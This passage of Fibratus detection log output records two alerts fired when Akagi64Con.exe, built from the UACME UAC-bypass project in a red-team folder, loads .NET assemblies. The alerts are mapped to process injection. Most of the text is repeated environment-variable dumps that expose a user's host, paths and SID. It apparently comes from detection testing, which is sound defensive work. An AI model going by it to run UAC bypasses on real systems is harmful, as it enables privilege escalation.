Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675054 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2167762 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net471\3be2bcac87bb5f5439fe08fc086c2429\testhost.net471.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:27+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1675068 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:18:00.2176397 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\testhost.net472\2cff03c6e50e8a1ba4ff95d957218cdc\testhost.net472.ni.exe, image_size➜ 102400, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 